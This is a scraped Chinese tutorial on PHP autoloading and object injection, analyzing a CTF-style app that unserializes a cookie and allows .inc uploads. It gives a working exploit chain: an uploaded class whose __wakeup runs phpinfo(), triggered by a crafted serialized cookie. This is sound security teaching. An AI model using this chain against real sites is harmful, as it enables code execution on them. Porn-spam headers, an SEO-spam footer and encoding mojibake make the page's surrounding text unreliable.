国产探花免费观看_亚洲丰满少妇自慰呻吟_97日韩有码在线_资源在线日韩欧美_一区二区精品毛片,辰东完美世界有声小说,欢乐颂第一季,yy玄幻小说排行榜完本

首頁 > 開發(fā) > PHP > 正文

PHP對象注入的實例分析

2024-05-04 21:50:22
字體:
供稿:網(wǎng)友

1. 寫在前面

最近經(jīng)常會遇到一些比較有意思的漏洞,比如PHP反序列化漏洞,PHP對象注入。這些漏洞可能在平時很難遇到,但是在CTF以及一些CMS倒是經(jīng)常看到他們的背影。今天剛剛好手上看到了某CTF的代碼,但是并沒有獲取所有源碼,因此修改了部分代碼進(jìn)行分析。

2. 自動加載

2.0 為什么要自動加載?

在面向?qū)ο缶幊讨校绦騿T經(jīng)常會編寫好類然后在一個入口文件中將它們包含進(jìn)來。如果一個項目非常大,可能存在成百上千個類文件,如果一一包含進(jìn)去,那么入口文件就會顯得特別大并且不利于維護(hù)。因此,PHP5提供了一種自動加載機(jī)制。

2.1 __autoload

index.php

  1. function __autoload($classname){ 
  2.  $class_file = strtolower($classname).".php"
  3.  if(file_exists($class_file)){ 
  4.   require_once("$class_file"); 
  5.  }else
  6.   echo "$class_file does not exist!"
  7.  } 
  8. $obj = new File(); 

訪問index.php,程序會嘗試實例化File類。PHP的解析器會自動調(diào)用__autoload()函數(shù)。假設(shè)當(dāng)前目錄下沒有file.php,那么就會輸出 “file.php does not exist!” 并且拋出錯誤。

file.php

  1. class File{ 
  2.  function __construct(){ 
  3.   echo "File class is instantiated"
  4.  } 

此時訪問index.php,就會得到 “File class is instantiated” 的結(jié)果。這樣一來,自動加載機(jī)制就非常好理解了。

2.2 手動調(diào)用 spl_autoload

void spl_autoload ( string $class_name [, string $file_extensions ] )

它可以接收兩個參數(shù),第一個參數(shù)是$class_name,表示類名。第二個參數(shù)$file_extensions是可選的,表示類文件的擴(kuò)展名;如果不指定的話,它將使用默認(rèn)的擴(kuò)展名.inc或.php。

spl_autoload首先將$class_name變?yōu)樾懀缓笤谒械膇nclude path中搜索$class_name.inc或$class_name.php文件(如果不指定$file_extensions參數(shù)的話),如果找到,就加載該類文件。

同樣,你可以手動使用spl_autoload(“Person”, “.class.php”)來加載Person類。實際上,它跟require/include差不多

舉個例子:

spl_autoload("upload");

$F = new Upload();

這里沒有指定擴(kuò)展名,那么就會在當(dāng)前目錄下尋找upload.inc或者upload.php并自動加載。其實,到這里而言,和require、include相比并沒有簡單。相反,它們的功能基本是一模一樣的。

2.3 自動調(diào)用 spl_autoload

上面所說的使用手動的方式調(diào)用spl_autoload,工作量其實和require/include基本上差不多。調(diào)用spl_autoload_register()的時候,如果沒有指定欲注冊的自動裝載函數(shù),則自動注冊 autoload 的默認(rèn)實現(xiàn)函數(shù)spl_autoload()。

舉個例子:

spl_autoload_register();

$F = new Upload();

此時,程序會在當(dāng)前路徑下自動加載upload.inc或upload.php。

3. 反序列化

字符串序列化成類之前,類必須提前聲明,否則無法反序列化。

字符串在反序列化的時候,會自動調(diào)用__wakeup()魔術(shù)方法

Object序列化格式 -> O:strlen(對象名):對象名:對象大小:{s:strlen(屬性名):屬性名:屬性值;(重復(fù)剩下的元素)}

4. 漏洞剖析

index.php

  1. include_once "common.inc.php"
  2. if(isset($req["act"]) && preg_match('/^[a-z0-9_]+$/is'$req["act"])) { 
  3.     include_once __DIR__ . "/" . $req["act"] . ".php"
  4.     exit

common.inc.php

  1. spl_autoload_register(); 
  2. error_reporting(0); 
  3. ini_set('display_errors', false); 
  4. $req = []; 
  5.  
  6. foreach([$_GET$_POSTas $global_var) { 
  7.     foreach($global_var as $key => $value) { 
  8.         is_string($value) && $req[$key] = addslashes($value); 
  9.     } 
  10.  
  11. $userinfo = isset($_COOKIE["userinfo"]) ? unserialize($_COOKIE["userinfo"]) : []; 

upload.php

  1. if($_FILES["attach"]["error"] == 0) { 
  2.     if($_FILES["attach"]['size'] > 0 && $_FILES["attach"]['size'] < 102400) { 
  3.         $typeAccepted = ["image/jpeg""image/gif""image/png"]; 
  4.         $blackext = ["php""php5""php3""html""swf""htm"]; 
  5.         $filearr = pathinfo($_FILES["attach"]["name"]);  
  6.         if(!in_array($_FILES["attach"]['type'], $typeAccepted)) { 
  7.             exit("type error"); 
  8.         } 
  9.         if(in_array($filearr["extension"], $blackext)) { 
  10.             exit("extension error"); 
  11.         } 
  12.         $filename = $_FILES["attach"]["name"]; 
  13.         if(move_uploaded_file($_FILES["attach"]["tmp_name"], $filename)) {     
  14.             array_push($userinfo$filename); 
  15.             setcookie("userinfo", serialize($userinfo), time() + 60 * 60 * 24 * 30); 
  16.             echo htmlspecialchars("upload success, new filename is {$filename} ."); 
  17.         } else { 
  18.             echo "upload error!"
  19.         } //Vevb.com 
  20.     } 
  21. else { 
  22.     echo "no upload file"

在common.inc.php中執(zhí)行了spl_autoload_register()函數(shù),并沒有使用參數(shù)。

后綴沒有禁止.inc的類型

在common.inc.php會反序列化COOKIE中的數(shù)據(jù)

上傳目錄在當(dāng)前目錄下

因此我們需要如下構(gòu)造:

上傳一個名為info.inc的文件,抓包修改MIME類型。info.inc的內(nèi)容如下所示:

  1. class info{ 
  2.  function __wakeup(){ 
  3.   phpinfo(); 
  4.  } 

修改cookie的uesrinfo字段為:O:4:”info”:0:{}

訪問index.php即可觸發(fā)phpinfo()函數(shù)。

發(fā)表評論 共有條評論
用戶名: 密碼:
驗證碼: 匿名發(fā)表
主站蜘蛛池模板: 睢宁县| 大兴区| 延寿县| 岳普湖县| 深州市| 旌德县| 本溪| 武义县| 武胜县| 乐亭县| 万年县| 龙海市| 郴州市| 固始县| 吉木乃县| 墨竹工卡县| 通榆县| 哈巴河县| 锡林郭勒盟| 隆化县| 罗定市| 福清市| 揭阳市| 黄大仙区| 浏阳市| 台安县| 昌宁县| 马山县| 南城县| 龙门县| 韩城市| 永平县| 桂平市| 佛冈县| 东莞市| 龙江县| 卢湾区| 乌苏市| 曲阳县| 新余市| 江油市|